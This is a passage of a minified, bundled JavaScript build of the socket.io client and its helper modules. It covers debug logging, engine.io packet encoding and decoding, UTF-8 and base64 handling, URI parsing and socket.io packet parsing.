\")+\"+\"+exports.humanize(this.diff);if(!useColors)return args;var c=\"color: \"+this.color;args=[args[0],c,\"color: inherit\"].concat(Array.prototype.slice.call(args,1));var index=0;var lastC=0;args[0].replace(/%[a-z%]/g,function(match){if(\"%\"===match)return;index++;if(\"%c\"===match){lastC=index}});args.splice(lastC,0,c);return args}function log(){return\"object\"==typeof console&&\"function\"==typeof console.log&&Function.prototype.apply.call(console.log,console,arguments)}function save(namespaces){try{if(null==namespaces){localStorage.removeItem(\"debug\")}else{localStorage.debug=namespaces}}catch(e){}}function load(){var r;try{r=localStorage.debug}catch(e){}return r}exports.enable(load())},{\"./debug\":23}],23:[function(_dereq_,module,exports){exports=module.exports=debug;exports.coerce=coerce;exports.disable=disable;exports.enable=enable;exports.enabled=enabled;exports.humanize=_dereq_(\"ms\");exports.names=[];exports.skips=[];exports.formatters={};var prevColor=0;var prevTime;function selectColor(){return exports.colors[prevColor++%exports.colors.length]}function debug(namespace){function disabled(){}disabled.enabled=false;function enabled(){var self=enabled;var curr=+new Date;var ms=curr-(prevTime||curr);self.diff=ms;self.prev=prevTime;self.curr=curr;prevTime=curr;if(null==self.useColors)self.useColors=exports.useColors();if(null==self.color&&self.useColors)self.color=selectColor();var args=Array.prototype.slice.call(arguments);args[0]=exports.coerce(args[0]);if(\"string\"!==typeof args[0]){args=[\"%o\"].concat(args)}var index=0;args[0]=args[0].replace(/%([a-z%])/g,function(match,format){if(match===\"%\")return match;index++;var formatter=exports.formatters[format];if(\"function\"===typeof formatter){var val=args[index];match=formatter.call(self,val);args.splice(index,1);index--}return match});if(\"function\"===typeof exports.formatArgs){args=exports.formatArgs.apply(self,args)}var logFn=enabled.log||exports.log||console.log.bind(console);logFn.apply(self,args)}enabled.enabled=true;var fn=exports.enabled(namespace)?enabled:disabled;fn.namespace=namespace;return fn}function enable(namespaces){exports.save(namespaces);var split=(namespaces||\"\").split(/[\\s,]+/);var len=split.length;for(var i=0;i<len;i++){if(!split[i])continue;namespaces=split[i].replace(/\\*/g,\".*?\");if(namespaces[0]===\"-\"){exports.skips.push(new RegExp(\"^\"+namespaces.substr(1)+\"$\"))}else{exports.names.push(new RegExp(\"^\"+namespaces+\"$\"))}}}function disable(){exports.enable(\"\")}function enabled(name){var i,len;for(i=0,len=exports.skips.length;i<len;i++){if(exports.skips[i].test(name)){return false}}for(i=0,len=exports.names.length;i<len;i++){if(exports.names[i].test(name)){return true}}return false}function coerce(val){if(val instanceof Error)return val.stack||val.message;return val}},{ms:24}],24:[function(_dereq_,module,exports){var s=1e3;var m=s*60;var h=m*60;var d=h*24;var y=d*365.25;module.exports=function(val,options){options=options||{};if(\"string\"==typeof val)return parse(val);return options.long?long(val):short(val)};function parse(str){var match=/^((?:\\d+)?\\.?\\d+) *(ms|seconds?|s|minutes?|m|hours?|h|days?|d|years?|y)?$/i.exec(str);if(!match)return;var n=parseFloat(match[1]);var type=(match[2]||\"ms\").toLowerCase();switch(type){case\"years\":case\"year\":case\"y\":return n*y;case\"days\":case\"day\":case\"d\":return n*d;case\"hours\":case\"hour\":case\"h\":return n*h;case\"minutes\":case\"minute\":case\"m\":return n*m;case\"seconds\":case\"second\":case\"s\":return n*s;case\"ms\":return n}}function short(ms){if(ms>=d)return Math.round(ms/d)+\"d\";if(ms>=h)return Math.round(ms/h)+\"h\";if(ms>=m)return Math.round(ms/m)+\"m\";if(ms>=s)return Math.round(ms/s)+\"s\";return ms+\"ms\"}function long(ms){return plural(ms,d,\"day\")||plural(ms,h,\"hour\")||plural(ms,m,\"minute\")||plural(ms,s,\"second\")||ms+\" ms\"}function plural(ms,n,name){if(ms<n)return;if(ms<n*1.5)return Math.floor(ms/n)+\" \"+name;return Math.ceil(ms/n)+\" \"+name+\"s\"}},{}],25:[function(_dereq_,module,exports){(function(global){var keys=_dereq_(\"./keys\");var hasBinary=_dereq_(\"has-binary\");var sliceBuffer=_dereq_(\"arraybuffer.slice\");var base64encoder=_dereq_(\"base64-arraybuffer\");var after=_dereq_(\"after\");var utf8=_dereq_(\"utf8\");var isAndroid=navigator.userAgent.match(/Android/i);var isPhantomJS=/PhantomJS/i.test(navigator.userAgent);var dontSendBlobs=isAndroid||isPhantomJS;exports.protocol=3;var packets=exports.packets={open:0,close:1,ping:2,pong:3,message:4,upgrade:5,noop:6};var packetslist=keys(packets);var err={type:\"error\",data:\"parser error\"};var Blob=_dereq_(\"blob\");exports.encodePacket=function(packet,supportsBinary,utf8encode,callback){if(\"function\"==typeof supportsBinary){callback=supportsBinary;supportsBinary=false}if(\"function\"==typeof utf8encode){callback=utf8encode;utf8encode=null}var data=packet.data===undefined?undefined:packet.data.buffer||packet.data;if(global.ArrayBuffer&&data instanceof ArrayBuffer){return encodeArrayBuffer(packet,supportsBinary,callback)}else if(Blob&&data instanceof global.Blob){return encodeBlob(packet,supportsBinary,callback)}if(data&&data.base64){return encodeBase64Object(packet,callback)}var encoded=packets[packet.type];if(undefined!==packet.data){encoded+=utf8encode?utf8.encode(String(packet.data)):String(packet.data)}return callback(\"\"+encoded)};function encodeBase64Object(packet,callback){var message=\"b\"+exports.packets[packet.type]+packet.data.data;return callback(message)}function encodeArrayBuffer(packet,supportsBinary,callback){if(!supportsBinary){return exports.encodeBase64Packet(packet,callback)}var data=packet.data;var contentArray=new Uint8Array(data);var resultBuffer=new Uint8Array(1+data.byteLength);resultBuffer[0]=packets[packet.type];for(var i=0;i<contentArray.length;i++){resultBuffer[i+1]=contentArray[i]}return callback(resultBuffer.buffer)}function encodeBlobAsArrayBuffer(packet,supportsBinary,callback){if(!supportsBinary){return exports.encodeBase64Packet(packet,callback)}var fr=new FileReader;fr.onload=function(){packet.data=fr.result;exports.encodePacket(packet,supportsBinary,true,callback)};return fr.readAsArrayBuffer(packet.data)}function encodeBlob(packet,supportsBinary,callback){if(!supportsBinary){return exports.encodeBase64Packet(packet,callback)}if(dontSendBlobs){return encodeBlobAsArrayBuffer(packet,supportsBinary,callback)}var length=new Uint8Array(1);length[0]=packets[packet.type];var blob=new Blob([length.buffer,packet.data]);return callback(blob)}exports.encodeBase64Packet=function(packet,callback){var message=\"b\"+exports.packets[packet.type];if(Blob&&packet.data instanceof Blob){var fr=new FileReader;fr.onload=function(){var b64=fr.result.split(\",\")[1];callback(message+b64)};return fr.readAsDataURL(packet.data)}var b64data;try{b64data=String.fromCharCode.apply(null,new Uint8Array(packet.data))}catch(e){var typed=new Uint8Array(packet.data);var basic=new Array(typed.length);for(var i=0;i<typed.length;i++){basic[i]=typed[i]}b64data=String.fromCharCode.apply(null,basic)}message+=global.btoa(b64data);return callback(message)};exports.decodePacket=function(data,binaryType,utf8decode){if(typeof data==\"string\"||data===undefined){if(data.charAt(0)==\"b\"){return exports.decodeBase64Packet(data.substr(1),binaryType)}if(utf8decode){try{data=utf8.decode(data)}catch(e){return err}}var type=data.charAt(0);if(Number(type)!=type||!packetslist[type]){return err}if(data.length>1){return{type:packetslist[type],data:data.substring(1)}}else{return{type:packetslist[type]}}}var asArray=new Uint8Array(data);var type=asArray[0];var rest=sliceBuffer(data,1);if(Blob&&binaryType===\"blob\"){rest=new Blob([rest])}return{type:packetslist[type],data:rest}};exports.decodeBase64Packet=function(msg,binaryType){var type=packetslist[msg.charAt(0)];if(!global.ArrayBuffer){return{type:type,data:{base64:true,data:msg.substr(1)}}}var data=base64encoder.decode(msg.substr(1));if(binaryType===\"blob\"&&Blob){data=new Blob([data])}return{type:type,data:data}};exports.encodePayload=function(packets,supportsBinary,callback){if(typeof supportsBinary==\"function\"){callback=supportsBinary;supportsBinary=null}var isBinary=hasBinary(packets);if(supportsBinary&&isBinary){if(Blob&&!dontSendBlobs){return exports.encodePayloadAsBlob(packets,callback)}return exports.encodePayloadAsArrayBuffer(packets,callback)}if(!packets.length){return callback(\"0:\")}function setLengthHeader(message){return message.length+\":\"+message}function encodeOne(packet,doneCallback){exports.encodePacket(packet,!isBinary?false:supportsBinary,true,function(message){doneCallback(null,setLengthHeader(message))})}map(packets,encodeOne,function(err,results){return callback(results.join(\"\"))})};function map(ary,each,done){var result=new Array(ary.length);var next=after(ary.length,done);var eachWithIndex=function(i,el,cb){each(el,function(error,msg){result[i]=msg;cb(error,result)})};for(var i=0;i<ary.length;i++){eachWithIndex(i,ary[i],next)}}exports.decodePayload=function(data,binaryType,callback){if(typeof data!=\"string\"){return exports.decodePayloadAsBinary(data,binaryType,callback)}if(typeof binaryType===\"function\"){callback=binaryType;binaryType=null}var packet;if(data==\"\"){return callback(err,0,1)}var length=\"\",n,msg;for(var i=0,l=data.length;i<l;i++){var chr=data.charAt(i);if(\":\"!=chr){length+=chr}else{if(\"\"==length||length!=(n=Number(length))){return callback(err,0,1)}msg=data.substr(i+1,n);if(length!=msg.length){return callback(err,0,1)}if(msg.length){packet=exports.decodePacket(msg,binaryType,true);if(err.type==packet.type&&err.data==packet.data){return callback(err,0,1)}var ret=callback(packet,i+n,l);if(false===ret)return}i+=n;length=\"\"}}if(length!=\"\"){return callback(err,0,1)}};exports.encodePayloadAsArrayBuffer=function(packets,callback){if(!packets.length){return callback(new ArrayBuffer(0))}function encodeOne(packet,doneCallback){exports.encodePacket(packet,true,true,function(data){return doneCallback(null,data)})}map(packets,encodeOne,function(err,encodedPackets){var totalLength=encodedPackets.reduce(function(acc,p){var len;if(typeof p===\"string\"){len=p.length}else{len=p.byteLength}return acc+len.toString().length+len+2},0);var resultArray=new Uint8Array(totalLength);var bufferIndex=0;encodedPackets.forEach(function(p){var isString=typeof p===\"string\";var ab=p;if(isString){var view=new Uint8Array(p.length);for(var i=0;i<p.length;i++){view[i]=p.charCodeAt(i)}ab=view.buffer}if(isString){resultArray[bufferIndex++]=0}else{resultArray[bufferIndex++]=1}var lenStr=ab.byteLength.toString();for(var i=0;i<lenStr.length;i++){resultArray[bufferIndex++]=parseInt(lenStr[i])}resultArray[bufferIndex++]=255;var view=new Uint8Array(ab);for(var i=0;i<view.length;i++){resultArray[bufferIndex++]=view[i]}});return callback(resultArray.buffer)})};exports.encodePayloadAsBlob=function(packets,callback){function encodeOne(packet,doneCallback){exports.encodePacket(packet,true,true,function(encoded){var binaryIdentifier=new Uint8Array(1);binaryIdentifier[0]=1;if(typeof encoded===\"string\"){var view=new Uint8Array(encoded.length);for(var i=0;i<encoded.length;i++){view[i]=encoded.charCodeAt(i)}encoded=view.buffer;binaryIdentifier[0]=0}var len=encoded instanceof ArrayBuffer?encoded.byteLength:encoded.size;var lenStr=len.toString();var lengthAry=new Uint8Array(lenStr.length+1);for(var i=0;i<lenStr.length;i++){lengthAry[i]=parseInt(lenStr[i])}lengthAry[lenStr.length]=255;if(Blob){var blob=new Blob([binaryIdentifier.buffer,lengthAry.buffer,encoded]);doneCallback(null,blob)}})}map(packets,encodeOne,function(err,results){return callback(new Blob(results))})};exports.decodePayloadAsBinary=function(data,binaryType,callback){if(typeof binaryType===\"function\"){callback=binaryType;binaryType=null}var bufferTail=data;var buffers=[];var numberTooLong=false;while(bufferTail.byteLength>0){var tailArray=new Uint8Array(bufferTail);var isString=tailArray[0]===0;var msgLength=\"\";for(var i=1;;i++){if(tailArray[i]==255)break;if(msgLength.length>310){numberTooLong=true;break}msgLength+=tailArray[i]}if(numberTooLong)return callback(err,0,1);bufferTail=sliceBuffer(bufferTail,2+msgLength.length);msgLength=parseInt(msgLength);var msg=sliceBuffer(bufferTail,0,msgLength);if(isString){try{msg=String.fromCharCode.apply(null,new Uint8Array(msg))}catch(e){var typed=new Uint8Array(msg);msg=\"\";for(var i=0;i<typed.length;i++){msg+=String.fromCharCode(typed[i])}}}buffers.push(msg);bufferTail=sliceBuffer(bufferTail,msgLength)}var total=buffers.length;buffers.forEach(function(buffer,i){callback(exports.decodePacket(buffer,binaryType,true),i,total)})}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./keys\":26,after:27,\"arraybuffer.slice\":28,\"base64-arraybuffer\":29,blob:30,\"has-binary\":31,utf8:33}],26:[function(_dereq_,module,exports){module.exports=Object.keys||function keys(obj){var arr=[];var has=Object.prototype.hasOwnProperty;for(var i in obj){if(has.call(obj,i)){arr.push(i)}}return arr}},{}],27:[function(_dereq_,module,exports){module.exports=after;function after(count,callback,err_cb){var bail=false;err_cb=err_cb||noop;proxy.count=count;return count===0?callback():proxy;function proxy(err,result){if(proxy.count<=0){throw new Error(\"after called too many times\")}--proxy.count;if(err){bail=true;callback(err);callback=err_cb}else if(proxy.count===0&&!bail){callback(null,result)}}}function noop(){}},{}],28:[function(_dereq_,module,exports){module.exports=function(arraybuffer,start,end){var bytes=arraybuffer.byteLength;start=start||0;end=end||bytes;if(arraybuffer.slice){return arraybuffer.slice(start,end)}if(start<0){start+=bytes}if(end<0){end+=bytes}if(end>bytes){end=bytes}if(start>=bytes||start>=end||bytes===0){return new ArrayBuffer(0)}var abv=new Uint8Array(arraybuffer);var result=new Uint8Array(end-start);for(var i=start,ii=0;i<end;i++,ii++){result[ii]=abv[i]}return result.buffer}},{}],29:[function(_dereq_,module,exports){(function(chars){\"use strict\";exports.encode=function(arraybuffer){var bytes=new Uint8Array(arraybuffer),i,len=bytes.length,base64=\"\";for(i=0;i<len;i+=3){base64+=chars[bytes[i]>>2];base64+=chars[(bytes[i]&3)<<4|bytes[i+1]>>4];base64+=chars[(bytes[i+1]&15)<<2|bytes[i+2]>>6];base64+=chars[bytes[i+2]&63]}if(len%3===2){base64=base64.substring(0,base64.length-1)+\"=\"}else if(len%3===1){base64=base64.substring(0,base64.length-2)+\"==\"}return base64};exports.decode=function(base64){var bufferLength=base64.length*.75,len=base64.length,i,p=0,encoded1,encoded2,encoded3,encoded4;if(base64[base64.length-1]===\"=\"){bufferLength--;if(base64[base64.length-2]===\"=\"){bufferLength--}}var arraybuffer=new ArrayBuffer(bufferLength),bytes=new Uint8Array(arraybuffer);for(i=0;i<len;i+=4){encoded1=chars.indexOf(base64[i]);encoded2=chars.indexOf(base64[i+1]);encoded3=chars.indexOf(base64[i+2]);encoded4=chars.indexOf(base64[i+3]);bytes[p++]=encoded1<<2|encoded2>>4;bytes[p++]=(encoded2&15)<<4|encoded3>>2;bytes[p++]=(encoded3&3)<<6|encoded4&63}return arraybuffer}})(\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\")},{}],30:[function(_dereq_,module,exports){(function(global){var BlobBuilder=global.BlobBuilder||global.WebKitBlobBuilder||global.MSBlobBuilder||global.MozBlobBuilder;var blobSupported=function(){try{var b=new Blob([\"hi\"]);return b.size==2}catch(e){return false}}();var blobBuilderSupported=BlobBuilder&&BlobBuilder.prototype.append&&BlobBuilder.prototype.getBlob;function BlobBuilderConstructor(ary,options){options=options||{};var bb=new BlobBuilder;for(var i=0;i<ary.length;i++){bb.append(ary[i])}return options.type?bb.getBlob(options.type):bb.getBlob()}module.exports=function(){if(blobSupported){return global.Blob}else if(blobBuilderSupported){return BlobBuilderConstructor}else{return undefined}}()}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],31:[function(_dereq_,module,exports){(function(global){var isArray=_dereq_(\"isarray\");module.exports=hasBinary;function hasBinary(data){function _hasBinary(obj){if(!obj)return false;if(global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer||global.Blob&&obj instanceof Blob||global.File&&obj instanceof File){return true}if(isArray(obj)){for(var i=0;i<obj.length;i++){if(_hasBinary(obj[i])){return true}}}else if(obj&&\"object\"==typeof obj){if(obj.toJSON){obj=obj.toJSON()}for(var key in obj){if(obj.hasOwnProperty(key)&&_hasBinary(obj[key])){return true}}}return false}return _hasBinary(data)}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{isarray:32}],32:[function(_dereq_,module,exports){module.exports=Array.isArray||function(arr){return Object.prototype.toString.call(arr)==\"[object Array]\"}},{}],33:[function(_dereq_,module,exports){(function(global){(function(root){var freeExports=typeof exports==\"object\"&&exports;var freeModule=typeof module==\"object\"&&module&&module.exports==freeExports&&module;var freeGlobal=typeof global==\"object\"&&global;if(freeGlobal.global===freeGlobal||freeGlobal.window===freeGlobal){root=freeGlobal}var stringFromCharCode=String.fromCharCode;function ucs2decode(string){var output=[];var counter=0;var length=string.length;var value;var extra;while(counter<length){value=string.charCodeAt(counter++);if(value>=55296&&value<=56319&&counter<length){extra=string.charCodeAt(counter++);\nif((extra&64512)==56320){output.push(((value&1023)<<10)+(extra&1023)+65536)}else{output.push(value);counter--}}else{output.push(value)}}return output}function ucs2encode(array){var length=array.length;var index=-1;var value;var output=\"\";while(++index<length){value=array[index];if(value>65535){value-=65536;output+=stringFromCharCode(value>>>10&1023|55296);value=56320|value&1023}output+=stringFromCharCode(value)}return output}function createByte(codePoint,shift){return stringFromCharCode(codePoint>>shift&63|128)}function encodeCodePoint(codePoint){if((codePoint&4294967168)==0){return stringFromCharCode(codePoint)}var symbol=\"\";if((codePoint&4294965248)==0){symbol=stringFromCharCode(codePoint>>6&31|192)}else if((codePoint&4294901760)==0){symbol=stringFromCharCode(codePoint>>12&15|224);symbol+=createByte(codePoint,6)}else if((codePoint&4292870144)==0){symbol=stringFromCharCode(codePoint>>18&7|240);symbol+=createByte(codePoint,12);symbol+=createByte(codePoint,6)}symbol+=stringFromCharCode(codePoint&63|128);return symbol}function utf8encode(string){var codePoints=ucs2decode(string);var length=codePoints.length;var index=-1;var codePoint;var byteString=\"\";while(++index<length){codePoint=codePoints[index];byteString+=encodeCodePoint(codePoint)}return byteString}function readContinuationByte(){if(byteIndex>=byteCount){throw Error(\"Invalid byte index\")}var continuationByte=byteArray[byteIndex]&255;byteIndex++;if((continuationByte&192)==128){return continuationByte&63}throw Error(\"Invalid continuation byte\")}function decodeSymbol(){var byte1;var byte2;var byte3;var byte4;var codePoint;if(byteIndex>byteCount){throw Error(\"Invalid byte index\")}if(byteIndex==byteCount){return false}byte1=byteArray[byteIndex]&255;byteIndex++;if((byte1&128)==0){return byte1}if((byte1&224)==192){var byte2=readContinuationByte();codePoint=(byte1&31)<<6|byte2;if(codePoint>=128){return codePoint}else{throw Error(\"Invalid continuation byte\")}}if((byte1&240)==224){byte2=readContinuationByte();byte3=readContinuationByte();codePoint=(byte1&15)<<12|byte2<<6|byte3;if(codePoint>=2048){return codePoint}else{throw Error(\"Invalid continuation byte\")}}if((byte1&248)==240){byte2=readContinuationByte();byte3=readContinuationByte();byte4=readContinuationByte();codePoint=(byte1&15)<<18|byte2<<12|byte3<<6|byte4;if(codePoint>=65536&&codePoint<=1114111){return codePoint}}throw Error(\"Invalid UTF-8 detected\")}var byteArray;var byteCount;var byteIndex;function utf8decode(byteString){byteArray=ucs2decode(byteString);byteCount=byteArray.length;byteIndex=0;var codePoints=[];var tmp;while((tmp=decodeSymbol())!==false){codePoints.push(tmp)}return ucs2encode(codePoints)}var utf8={version:\"2.0.0\",encode:utf8encode,decode:utf8decode};if(typeof define==\"function\"&&typeof define.amd==\"object\"&&define.amd){define(function(){return utf8})}else if(freeExports&&!freeExports.nodeType){if(freeModule){freeModule.exports=utf8}else{var object={};var hasOwnProperty=object.hasOwnProperty;for(var key in utf8){hasOwnProperty.call(utf8,key)&&(freeExports[key]=utf8[key])}}}else{root.utf8=utf8}})(this)}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],34:[function(_dereq_,module,exports){(function(global){var rvalidchars=/^[\\],:{}\\s]*$/;var rvalidescape=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g;var rvalidtokens=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g;var rvalidbraces=/(?:^|:|,)(?:\\s*\\[)+/g;var rtrimLeft=/^\\s+/;var rtrimRight=/\\s+$/;module.exports=function parsejson(data){if(\"string\"!=typeof data||!data){return null}data=data.replace(rtrimLeft,\"\").replace(rtrimRight,\"\");if(global.JSON&&JSON.parse){return JSON.parse(data)}if(rvalidchars.test(data.replace(rvalidescape,\"@\").replace(rvalidtokens,\"]\").replace(rvalidbraces,\"\"))){return new Function(\"return \"+data)()}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{}],35:[function(_dereq_,module,exports){exports.encode=function(obj){var str=\"\";for(var i in obj){if(obj.hasOwnProperty(i)){if(str.length)str+=\"&\";str+=encodeURIComponent(i)+\"=\"+encodeURIComponent(obj[i])}}return str};exports.decode=function(qs){var qry={};var pairs=qs.split(\"&\");for(var i=0,l=pairs.length;i<l;i++){var pair=pairs[i].split(\"=\");qry[decodeURIComponent(pair[0])]=decodeURIComponent(pair[1])}return qry}},{}],36:[function(_dereq_,module,exports){var re=/^(?:(?![^:@]+:[^:@\\/]*@)(http|https|ws|wss):\\/\\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\\/?#]*)(?::(\\d*))?)(((\\/(?:[^?#](?![^?#\\/]*\\.[^?#\\/.]+(?:[?#]|$)))*\\/?)?([^?#\\/]*))(?:\\?([^#]*))?(?:#(.*))?)/;var parts=[\"source\",\"protocol\",\"authority\",\"userInfo\",\"user\",\"password\",\"host\",\"port\",\"relative\",\"path\",\"directory\",\"file\",\"query\",\"anchor\"];module.exports=function parseuri(str){var src=str,b=str.indexOf(\"[\"),e=str.indexOf(\"]\");if(b!=-1&&e!=-1){str=str.substring(0,b)+str.substring(b,e).replace(/:/g,\";\")+str.substring(e,str.length)}var m=re.exec(str||\"\"),uri={},i=14;while(i--){uri[parts[i]]=m[i]||\"\"}if(b!=-1&&e!=-1){uri.source=src;uri.host=uri.host.substring(1,uri.host.length-1).replace(/;/g,\":\");uri.authority=uri.authority.replace(\"[\",\"\").replace(\"]\",\"\").replace(/;/g,\":\");uri.ipv6uri=true}return uri}},{}],37:[function(_dereq_,module,exports){var global=function(){return this}();var WebSocket=global.WebSocket||global.MozWebSocket;module.exports=WebSocket?ws:null;function ws(uri,protocols,opts){var instance;if(protocols){instance=new WebSocket(uri,protocols)}else{instance=new WebSocket(uri)}return instance}if(WebSocket)ws.prototype=WebSocket.prototype},{}],38:[function(_dereq_,module,exports){(function(global){var isArray=_dereq_(\"isarray\");module.exports=hasBinary;function hasBinary(data){function _hasBinary(obj){if(!obj)return false;if(global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer||global.Blob&&obj instanceof Blob||global.File&&obj instanceof File){return true}if(isArray(obj)){for(var i=0;i<obj.length;i++){if(_hasBinary(obj[i])){return true}}}else if(obj&&\"object\"==typeof obj){if(obj.toJSON){obj=obj.toJSON()}for(var key in obj){if(Object.prototype.hasOwnProperty.call(obj,key)&&_hasBinary(obj[key])){return true}}}return false}return _hasBinary(data)}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{isarray:39}],39:[function(_dereq_,module,exports){module.exports=_dereq_(32)},{}],40:[function(_dereq_,module,exports){var global=_dereq_(\"global\");try{module.exports=\"XMLHttpRequest\"in global&&\"withCredentials\"in new global.XMLHttpRequest}catch(err){module.exports=false}},{global:41}],41:[function(_dereq_,module,exports){module.exports=function(){return this}()},{}],42:[function(_dereq_,module,exports){var indexOf=[].indexOf;module.exports=function(arr,obj){if(indexOf)return arr.indexOf(obj);for(var i=0;i<arr.length;++i){if(arr[i]===obj)return i}return-1}},{}],43:[function(_dereq_,module,exports){var has=Object.prototype.hasOwnProperty;exports.keys=Object.keys||function(obj){var keys=[];for(var key in obj){if(has.call(obj,key)){keys.push(key)}}return keys};exports.values=function(obj){var vals=[];for(var key in obj){if(has.call(obj,key)){vals.push(obj[key])}}return vals};exports.merge=function(a,b){for(var key in b){if(has.call(b,key)){a[key]=b[key]}}return a};exports.length=function(obj){return exports.keys(obj).length};exports.isEmpty=function(obj){return 0==exports.length(obj)}},{}],44:[function(_dereq_,module,exports){var re=/^(?:(?![^:@]+:[^:@\\/]*@)(http|https|ws|wss):\\/\\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:\\/?#]*)(?::(\\d*))?)(((\\/(?:[^?#](?![^?#\\/]*\\.[^?#\\/.]+(?:[?#]|$)))*\\/?)?([^?#\\/]*))(?:\\?([^#]*))?(?:#(.*))?)/;var parts=[\"source\",\"protocol\",\"authority\",\"userInfo\",\"user\",\"password\",\"host\",\"port\",\"relative\",\"path\",\"directory\",\"file\",\"query\",\"anchor\"];module.exports=function parseuri(str){var m=re.exec(str||\"\"),uri={},i=14;while(i--){uri[parts[i]]=m[i]||\"\"}return uri}},{}],45:[function(_dereq_,module,exports){(function(global){var isArray=_dereq_(\"isarray\");var isBuf=_dereq_(\"./is-buffer\");exports.deconstructPacket=function(packet){var buffers=[];var packetData=packet.data;function _deconstructPacket(data){if(!data)return data;if(isBuf(data)){var placeholder={_placeholder:true,num:buffers.length};buffers.push(data);return placeholder}else if(isArray(data)){var newData=new Array(data.length);for(var i=0;i<data.length;i++){newData[i]=_deconstructPacket(data[i])}return newData}else if(\"object\"==typeof data&&!(data instanceof Date)){var newData={};for(var key in data){newData[key]=_deconstructPacket(data[key])}return newData}return data}var pack=packet;pack.data=_deconstructPacket(packetData);pack.attachments=buffers.length;return{packet:pack,buffers:buffers}};exports.reconstructPacket=function(packet,buffers){var curPlaceHolder=0;function _reconstructPacket(data){if(data&&data._placeholder){var buf=buffers[data.num];return buf}else if(isArray(data)){for(var i=0;i<data.length;i++){data[i]=_reconstructPacket(data[i])}return data}else if(data&&\"object\"==typeof data){for(var key in data){data[key]=_reconstructPacket(data[key])}return data}return data}packet.data=_reconstructPacket(packet.data);packet.attachments=undefined;return packet};exports.removeBlobs=function(data,callback){function _removeBlobs(obj,curKey,containingObject){if(!obj)return obj;if(global.Blob&&obj instanceof Blob||global.File&&obj instanceof File){pendingBlobs++;var fileReader=new FileReader;fileReader.onload=function(){if(containingObject){containingObject[curKey]=this.result}else{bloblessData=this.result}if(!--pendingBlobs){callback(bloblessData)}};fileReader.readAsArrayBuffer(obj)}else if(isArray(obj)){for(var i=0;i<obj.length;i++){_removeBlobs(obj[i],i,obj)}}else if(obj&&\"object\"==typeof obj&&!isBuf(obj)){for(var key in obj){_removeBlobs(obj[key],key,obj)}}}var pendingBlobs=0;var bloblessData=data;_removeBlobs(bloblessData);if(!pendingBlobs){callback(bloblessData)}}}).call(this,typeof self!==\"undefined\"?self:typeof window!==\"undefined\"?window:{})},{\"./is-buffer\":47,isarray:48}],46:[function(_dereq_,module,exports){var debug=_dereq_(\"debug\")(\"socket.io-parser\");var json=_dereq_(\"json3\");var isArray=_dereq_(\"isarray\");var Emitter=_dereq_(\"component-emitter\");var binary=_dereq_(\"./binary\");var isBuf=_dereq_(\"./is-buffer\");exports.protocol=4;exports.types=[\"CONNECT\",\"DISCONNECT\",\"EVENT\",\"BINARY_EVENT\",\"ACK\",\"BINARY_ACK\",\"ERROR\"];exports.CONNECT=0;exports.DISCONNECT=1;exports.EVENT=2;exports.ACK=3;exports.ERROR=4;exports.BINARY_EVENT=5;exports.BINARY_ACK=6;exports.Encoder=Encoder;exports.Decoder=Decoder;function Encoder(){}Encoder.prototype.encode=function(obj,callback){debug(\"encoding packet %j\",obj);if(exports.BINARY_EVENT==obj.type||exports.BINARY_ACK==obj.type){encodeAsBinary(obj,callback)}else{var encoding=encodeAsString(obj);callback([encoding])}};function encodeAsString(obj){var str=\"\";var nsp=false;str+=obj.type;if(exports.BINARY_EVENT==obj.type||exports.BINARY_ACK==obj.type){str+=obj.attachments;str+=\"-\"}if(obj.nsp&&\"/\"!=obj.nsp){nsp=true;str+=obj.nsp}if(null!=obj.id){if(nsp){str+=\",\";nsp=false}str+=obj.id}if(null!=obj.data){if(nsp)str+=\",\";str+=json.stringify(obj.data)}debug(\"encoded %j as %s\",obj,str);return str}function encodeAsBinary(obj,callback){function writeEncoding(bloblessData){var deconstruction=binary.deconstructPacket(bloblessData);var pack=encodeAsString(deconstruction.packet);var buffers=deconstruction.buffers;buffers.unshift(pack);callback(buffers)}binary.removeBlobs(obj,writeEncoding)}function Decoder(){this.reconstructor=null}Emitter(Decoder.prototype);Decoder.prototype.add=function(obj){var packet;if(\"string\"==typeof obj){packet=decodeString(obj);if(exports.BINARY_EVENT==packet.type||exports.BINARY_ACK==packet.type){this.reconstructor=new BinaryReconstructor(packet);if(this.reconstructor.reconPack.attachments===0){this.emit(\"decoded\",packet)}}else{this.emit(\"decoded\",packet)}}else if(isBuf(obj)||obj.base64){if(!this.reconstructor){throw new Error(\"got binary data when not reconstructing a packet\")}else{packet=this.reconstructor.takeBinaryData(obj);if(packet){this.reconstructor=null;this.emit(\"decoded\",packet)}}}else{throw new Error(\"Unknown type: \"+obj)}};function decodeString(str){var p={};var i=0;p.type=Number(str.charAt(0));if(null==exports.types[p.type])return error();if(exports.BINARY_EVENT==p.type||exports.BINARY_ACK==p.type){var buf=\"\";while(str.charAt(++i)!=\"-\"){buf+=str.charAt(i);if(i+1==str.length)break}if(buf!=Number(buf)||str.charAt(i)!=\"-\"){throw new Error(\"Illegal attachments\")}p.attachments=Number(buf)}if(\"/\"==str.charAt(i+1)){p.nsp=\"\";while(++i){var c=str.charAt(i);if(\",\"==c)break;p.nsp+=c;if(i+1==str.length)break}}else{p.nsp=\"/\"}var next=str.charAt(i+1);if(\"\"!==next&&Number(next)==next){p.id=\"\";while(++i){var 